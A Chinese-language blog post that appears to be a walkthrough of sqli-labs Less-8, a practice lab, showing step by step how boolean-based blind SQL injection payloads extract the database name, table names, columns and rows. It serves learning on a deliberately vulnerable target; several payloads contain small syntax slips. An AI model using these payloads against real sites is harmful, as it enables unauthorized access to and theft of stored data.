B_roin

导航

sqli-labs less-8

 

布尔盲注构造SQL判断语句 --> 如:1’ and length(database())>=5#判断数据库字符长度

                               利用 1’ and substr(database(),1,1)=’z’#判断第一个字符

                               1’ and substr(database(),2,1)=’z’#判断第二个字符

                               1’ and ord(substr(database()),3,1)=119#判断第三个字符的ASCII

    查表名:1’ and substr((select table_name from information_schema.tables where table_schema=’dvwa’ limit 1,1,),2,1)=’u’#

    判断是否是布尔盲注 --> 判断数据库字符的长度 --> 爆数据库名 --> 爆表名 --> 爆字段

   (使用union注入判断)

 

 --------------------------------------------------------------------------------------------------

 

Less-8(布尔型盲注)

1.判断是否存在注入点

  执行?id=1,回显正常,执行?id=1时,没有回显,首先判断存在注入点,执行?id=1’ --+时,回显正常,所以注入方式是:’’

2.判断是什么类型的盲注

3.判断数据库字符的长度

 执行?id=1’ and length(database())>=8 --+进行尝试判断,最终得到数据库的字符长度为8

4.爆数据库名

 执行?id=1’ and substr(database(),1,1)=’s’ --+ 用于判断第一个字符

 执行?id=1’ and substr(database(),2,1)=’e’ --+ 用于判断第二个字符

 同理,由此逐个判断,直到爆出数据库名为security

5.爆表名

 执行?id=1' and length((select table_name from information_schema.tables where table_schema='security' limit 0,1))=6 --+ 判断库下的第一个表的长度

 执行?id=1’ and substr((select table_name from information_schema.tables where table_schema=’security’ limit 0,1),1,1)=’e’ --+  判断库下的第一行的表的第一个字母是什么

 色块表明数据库下的第一行的表

 同理逐个判断,直到爆出security下的所有表名为:emailsreferersuagentsusers

6.爆字段名(爆emails

 还是要爆长度,这里就不写了

 执行?id=1’ and substr((select column_name from information_schema.columns where table_name=’emails’ limit 0,1),1,1)=’i’ --+  判断表emails下的第一行的字段的第一个字母

 同理逐个判断,直到爆出emails下的所有字段名为:idemail_id

7.爆数据(爆id

 执行?id=1’ and substr((select id from emails limit 0,1),1,1)=1 --+

 判断字段(列)id下的第一行的第一个数据

 同理逐个判断,直到爆出emails下的数据

 

-------------------------------------------------------END----------------------------------------------------------------

posted on 2020-02-11 21:41  B_roin  阅读(167)  评论(0编辑  收藏  举报